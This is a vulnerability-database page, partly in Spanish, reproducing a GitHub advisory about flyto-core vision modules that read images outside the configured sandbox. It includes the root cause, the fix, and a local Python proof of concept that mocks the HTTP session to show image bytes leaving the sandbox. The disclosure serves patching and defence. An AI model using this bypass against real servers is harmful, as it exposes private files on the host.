llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-JPMX-7XH3-VQ6V

Unconfined local image reads in vision.analyze, vision.compare, and ai.vision.analyze

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición98 dDesde la divulgación, 14 ago 2026, 3:35 a. m.
Detección96 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.28.1
Monitoreo
Detectada +1
14 ago 26
18 nov 26
20 nov 26
14 ago 26
7 sept 26
2 oct 26
27 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-JPMX-7XH3-VQ6V divulgada · CVSS 7.7 (GitHub)
Remediación Parche 2.28.1 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The three vision modules accept a caller-supplied local image path and read it with no FLYTO_SANDBOX_DIR confinement, base64-encoding the bytes into the outgoing vision API request. A token-holding caller can read any image or document on the host that the server process can open, and recover text-bearing content through the returned vision analysis.

### Affected
- Component: flyto-core atomic vision and ai modules
- Files: src/core/modules/atomic/vision/analyze.py (line 283), src/core/modules/atomic/vision/compare.py (line 293), src/core/modules/atomic/ai/vision_analyze.py (line 247)
- Versions: v2.28.0
- Deployment: default; the modules are registered and allowed; vision.analyze and vision.compare only reject a '..' substring, and ai.vision.analyze performs no path check at all

### Root cause
The three readers never call validate_path_with_env_config. vision._prepare_image and vision._load_image expand the user path and reject only strings containing '..', so absolute paths outside the sandbox pass; ai.vision.analyze opens image_path directly after an os.path.exists check. The bytes are then base64-encoded and shipped to the OpenAI or Anthropic vision API, and the model's transcription of the image is returned to the caller. This mirrors the read half of the advisory classes the project already fixed (GHSA-wc94-386q-5478), while the write half of the same product surface was hardened (GHSA-p34x-fmph-9fjx).

Reproduction
Environment
python3 -m venv /tmp/flyto-venv
/tmp/flyto-venv/bin/pip install -e .
export FLYTO_SANDBOX_DIR=/tmp/flyto-sandbox
mkdir -p /tmp/flyto-sandbox /tmp/flyto-outside
# place any PNG file at /tmp/flyto-outside/secret-shot.png
Proof of concept
# save as /tmp/poc_vision.py and run with /tmp/flyto-venv/bin/python -u /tmp/poc_vision.py
import asyncio, base64, json, os, sys
sys.path.insert(0, '/home/lab/flyto-core/src')
os.environ['FLYTO_SANDBOX_DIR'] = '/tmp/flyto-sandbox'
PNG = base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==')
open('/tmp/flyto-outside/secret-shot.png', 'wb').write(PNG)
captured = {}
class FakeResponse:
    status = 200
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    async def json(self): return {'choices': [{'message': {'content': 'ANALYSIS: image shows internal credentials'}}]}
    async def text(self): return 'err'
class FakeSession:
    def __init__(self, *a, **k): pass
    async def __aenter__(self): return self
    async def __aexit__(self, *a): return False
    def post(self, url, **kw):
        captured['payload'] = kw.get('json') or {}
        captured['headers'] = kw.get('headers') or {}
        return FakeResponse()
import aiohttp
aiohttp.ClientSession = FakeSession
from core.modules import atomic
from core.modules.registry.core import ModuleRegistry
async def main():
    b64 = base64.b64encode(PNG).decode()
    mod = ModuleRegistry.get('vision.compare')({
        'image_before': '/tmp/flyto-outside/secret-shot.png',
        'image_after': '/tmp/flyto-outside/secret-shot.png',
        'comparison_type': 'visual_regression', 'api_key': 'sk_ATTACKER_OWN_KEY'}, {})
    res = await mod.run()
    print('vision.compare ok:', res.get('ok'))
    print('outside-sandbox bytes shipped:', b64 in json.dumps(captured.get('payload', {})))
    mod2 = ModuleRegistry.get('vision.analyze')({
        'image': '/tmp/flyto-outside/secret-shot.png', 'prompt': 'transcribe',
        'api_key': 'sk_ATTACKER_OWN_KEY'}, {})
    res2 = await mod2.run()
    print('vision.analyze ok:', res2.get('ok'), '| outside bytes shipped:',
          b64 in json.dumps(captured.get('payload', {})))
    try:
        mod3 = ModuleRegistry.get('file.read')({'path': '/tmp/flyto-outside/secret-shot.png'}, {})
        await mod3.run()
        print('file.read NOT blocked (unexpected)')
    except Exception as e:
        print('file.read (guarded twin) refuses same path:', type(e).__name__, str(e)[:60])
asyncio.run(main())
Observed result
vision.compare ok: True
outside-sandbox bytes shipped: True
vision.analyze ok: True | outside bytes shipped: True
file.read (guarded twin) refuses same path: Exception Module file.read failed after 2 attempts: [PATH_TRAVERSAL] ...

### Impact
- Any image, screenshot, scan, or photographed document on the host can be read by a token holder and its content recovered through the vision analysis text.
- The sandbox boundary is crossed without any operator configuration or permission grant.
- The same unconfined pattern covers ai.vision.analyze, which has no path check whatsoever.

### Fix
Call validate_path_with_env_config on the resolved local path in vision.analyze._prepare_image, vision.compare._load_image, and ai.vision.analyze before open, mirroring the write-half fix from GHSA-p34x-fmph-9fjx. Add regression tests that assert a sandbox-external image path is refused by all three modules.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.28.0
2.28.0
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.28.1 0 d 2.41.0 no afectada
Versiones corregidas2.28.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-jpmx-7xh3-vq6v

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.